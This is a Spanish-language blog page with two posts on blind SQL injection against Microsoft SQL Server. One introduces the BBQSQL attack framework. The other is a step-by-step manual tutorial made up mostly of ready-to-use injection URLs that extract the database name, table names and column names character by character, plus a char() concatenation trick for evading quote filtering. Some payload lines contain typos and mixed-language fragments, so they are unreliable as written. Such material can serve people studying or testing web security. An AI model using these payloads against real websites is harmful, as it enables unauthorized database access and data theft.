seguridad en base de datos

¿CÓMO HACER FÁCILMENTE INJECCION DE BLIND SQL CON BBQSQL?

Posted on

Blind SQL injection es casi idéntica a la inyección normal de SQL y afecta a la seguridad en base de datos, la única diferencia es la forma en que los datos se recuperan de la base de datos. Cuando la base de datos no genera datos en la página web, un atacante se ve obligado a robar datos pidiendo a la base de datos una serie de preguntas verdaderas o falsas.

Blind SQL injection puede ser un dolor para explotar. Cuando funcionan las herramientas disponibles, funciona bien, pero cuando no tienen que escribir algo personalizado para romper seguridad en base de datos. Esto es lento y tedioso. BBQSQL puede ayudarle a resolver esos problemas.

BBQSQL es un marco de inyección de BLIND SQL escrito en Python por los expertos de auditoría de base de datos. Es extremadamente útil cuando se atacan vulnerabilidades de inyección SQL complicadas. BBQSQL es también una herramienta semi-automática, que permite un poco de personalización para aquellos difíciles hallazgos provocados por inyección de SQL. La herramienta está construida para ser agnóstico de base de datos y es extremadamente versátil ya que es enseñado durante cursos de seguridad en base de datos como de international institute of cyber security. También tiene una interfaz de usuario intuitiva para hacer la creación de ataques mucho más fácil. Python gevent también se implementa para auditoría de base de datos, haciendo BBQSQL extremadamente rápido.

USO DE ALTO NIVEL

Similar a otras herramientas de inyección de SQL, proporciona cierta información.

Debe proporcionar la información usual:

  • URL
  • HTTP Method
  • Headers
  • Cookies
  • Encoding methods
  • Redirect behavior
  • Files
  • HTTP Auth
  • Proxies

A continuación, especificamos dónde va la inyección y qué sintaxis estamos inyectando.

BBQSQL utiliza dos técnicas cuando se realiza un ataque de inyección SQL blind. La primera y la técnica predeterminada utilizada es binary_search. La segunda técnica que puede utilizar es frequency_search. La búsqueda de frecuencia se basa en un análisis del idioma inglés para determinar la frecuencia con la que un alfabeto a se producirá. Este método de búsqueda es muy rápido contra los datos no entrópicos, pero puede ser lento contra datos no ingleses o datos ofuscados según expertos de auditoría de base de datos de IICS.

Puede especificar binary_search o frequency_search como valor para este parámetro.

BBQSQL

Ganchos personalizados

A veces tienes que hacer algo realmente loco.

Tal vez usted necesita para cifrar los valores de entrada en un campo antes de enviar la solicitud o tal vez usted lo necesita hacer triple URL encode. Sin embargo, estas situaciones hacen que otras herramientas de auditoría de base de datos sean imposibles de usar. BBQSQL le permite definir funciones de “hook” que la herramienta llamará en varios puntos a lo largo de la solicitud.

Para implementar esto, cree un archivo de Python y especifique las funciones de gancho. En su archivo de ganchos, puede definir tan pocas o muchas de estas funciones de ganchos como desee. En la sección bbqsql_options del menú, puede especificar la ubicación de su hooks_file. BBQSQL tomará este archivo y usará los ganchos que haya definido explican expertos de seguridad en base de datos.

 

Advertisements

¿CÓMO HACKEAR USANDO BLIND SQL INYECCIÓN

Posted on

En este tutorial usted aprenderá cómo realizar y explotar la inyección de Blind  SQL paso a paso de forma manual con ayuda de expertos de seguridad de aplicaciones web y seguridad en base de datos.

¿QUÉ ES INYECCIÓN DE BLIND SQL?

Según el curso de seguridad en base de datos, Inyección de Blind SQL es un tipo de ataque de inyección SQL que hace las consultas de verdadero o falso a la base de datos y determina la respuesta basándose en la respuesta de las aplicaciones.

En algunos casos, el uso normal de inyección SQL no sirve. La inyección Blind sql es otro método que puede ayudarte. El punto importante en la inyección de blind sql es la diferencia entre el resultado de la consulta válido y no válido. Usted tiene que inyectar un comando que deje una consulta válida o inválida y observar la respuesta menciona expertos de seguridad de aplicaciones web.

¿CÓMO PROBAR INYECCIÓN DE BLIND  SQL EN UNA APLICACIÓN?

Permitámonos suponer que http://www.example.com/page.asp?id=1 es una dirección URL normal de la página web. Por lo que permite comprobar la vulnerabilidad de la página web mediante el uso de condiciones verdaderas y falsas como 1 = 2, 1 = 1 o 0> 1.

http://www.example.com/page.asp?id=1 and 1=1 (True)http://www.example.com/page.asp?id=1 and 1=2 (False)http://www.example.com/page.asp?id=1 and 0>1 (False)

Si los resultados de estas consultas son diferentes, será una buena señal. Eso significa que el sitio web es vulnerable a inyección de blindmssql SQL. Cuando se pone “id = 1 and 1 = 1”, significa que la condición es verdadera, así la respuesta debe ser normal. Sin embargo, el parámetro “id = 1 and 1 = 2” indica que la condición es falsa y si el administrador no proporciona un filtro adecuado, la respuesta difiere absolutamente de la anterior.

LA EXTRACCIÓN DE DATOS A TRAVÉS DE INYECCIÓN DE BLIND SQL

Mediante el uso de esta base de datos se puede extraer, pero hay que pasar más tiempo en eso. Usted conseguirá un único carácter de la palabra mediante la ejecución de las algunas consultas.

El experto de seguridad de aplicaciones web explica un ejemplo de la consulta el primer carácter del nombre de la base de datos. Suponemos que el nombre de la base de datos es member. Por lo tanto, el primer carácter es “m”, que es el valor ascıı 109. (En este punto, se supone que conoce el código ascıı).

Ok, en primer lugar, tenemos que saber que los resultados de las solicitudes tienen sólo 2 formas.

Los siguientes pasos son dependiendo de cada persona. Tu idea puede ser diferente de nuestra idea con el fin de recoger el código ascii de consulta de prueba.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

En esta situación, el resultado será el resultado de la consulta válida como

http://www.example.com/page.asp?id=1 and 1=1

(Debido a que el primer carácter del nombre de la base de datos es “m”, que es el código ascii 109). A continuación, tratamos

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

Sin duda, es que el resultado será como

http://www.example.com/page.asp?id=1 y 1 = 2 (porque 109 absolutamente menos de 120).

A continuación, vamos a tratar,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105

El resultado es un resultado de la consulta válida y en este punto, el valor ascii del primer carácter del nombre de la base es de entre 105 y 120.

Por lo tanto, tratamos

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result

Usted puede ver que el primer carácter del nombre de base de datos tiene un valor ascii mayor que 108, pero no es mayor que 109. Por lo tanto, podemos concluir que el valor ascıı es igual a 109.

Se puede probar con:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109

Estamos seguros de que el resultado es como el resultado dehttp://www.target.com/page.php?id=1 and 1=1

Lo demás que tienes que hacer es manipular algunas consultas para recoger su información preferida.

En este tutorial, el experto de seguridad en base de datos se proponen algunas consultas de ejemplo con el fin de encontrar los nombres de tablas y columnas de la base de datos.

 SQL injection

LA EXTRACCIÓN DE NOMBRES DE TABLA A TRAVÉS DE INYECCIÓN DE BLINDMSSQL SQL

Con el fin de obtener el nombre de tabla, podemos utilizar el método anterior para obtener cada carácter del nombre de la tabla. Lo único que tenemos que hacer es cambiar la consulta para recuperar el nombre de tabla de base de datos actual. Como MSSQL no tiene comando de limit. Por lo tanto, la consulta es un poco complicada.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97

La consulta anterior se utiliza para determinar el primer carácter de primera tabla en la base de datos actual. Si queremos encontrar segundo carácter de la primera tabla, podemos hacerlo mediante siguiente consulta:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97

Cambiamos el segundo parámetro de la función del substring desde 1 hasta 2 con el fin de especificar la posición preferida del personaje en nombre de la tabla.

Por lo tanto, si queremos determinar otros puntos, nosotros sólo necesitamos cambiar segundo parámetro de la función del substring menciona experto de seguridad en base de datos.

En el caso de otras tablas, podemos encontrar otros nombres de tabla cambiando la segunda De “SELECT TOP 1” a ser “SELECT TOP 2”, “SELECT TOP 3” y así sucesivamente.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97

 

La extracción de nombres de columna a través de inyección de BlindMssql SQL

Después obtenemos los nombres de tabla, la siguiente información de objetivo son absolutamente los nombres de las columnas.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i HERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

Con el fin de eludir el filtrado de magic quote, usted tiene que cambiar “tablename” que es la forma de concatenar comandos char (). Por ejemplo, si el nombre de tabla es “user”, cuando ponemos “user” en la consulta, “puede ser filtrado y nuestra consulta será incorrecta. Según los expertos de seguridad de aplicaciones web, la solución es convertir

‘user’ es char(117)+char(115)+char(101)+char(114).

Por lo tanto, la consulta en la cláusula where cambia de

“Where name=’user’” to “Where name=char(117)+char(115)+char(101)+char(114)”.

En este caso, podemos evitar el filtrado de magic quote. El resultado de la solicitud anterior es el primer carácter del nombre de la primera columna de la tabla específica.

Según curso de seguridad en base de datos, cuando queremos encontrar el segundo carácter de la primera columna, podemos utilizar el mismo método que conseguir nombre de la tabla, cambiando el segundo parámetro de la función del substring.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

La solicitud anterior se utiliza para determinar el segundo carácter de la primera columna de la tabla nombre específico.

Según los expertos de seguridad de aplicaciones web, en el caso de la determinación de otras columnas, podemos hacerlo cambiando el valor p.x de 1 a 2,3,4 y así sucesivamente. como,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97

El primer carácter del segundo nombre de la columna en la tabla específica puede ser determinado por la consulta anterior. Pueden aprender más sobre inyección de Blind SQL durante la capacitación de seguridad de aplicaciones web o seguridad en base de datos.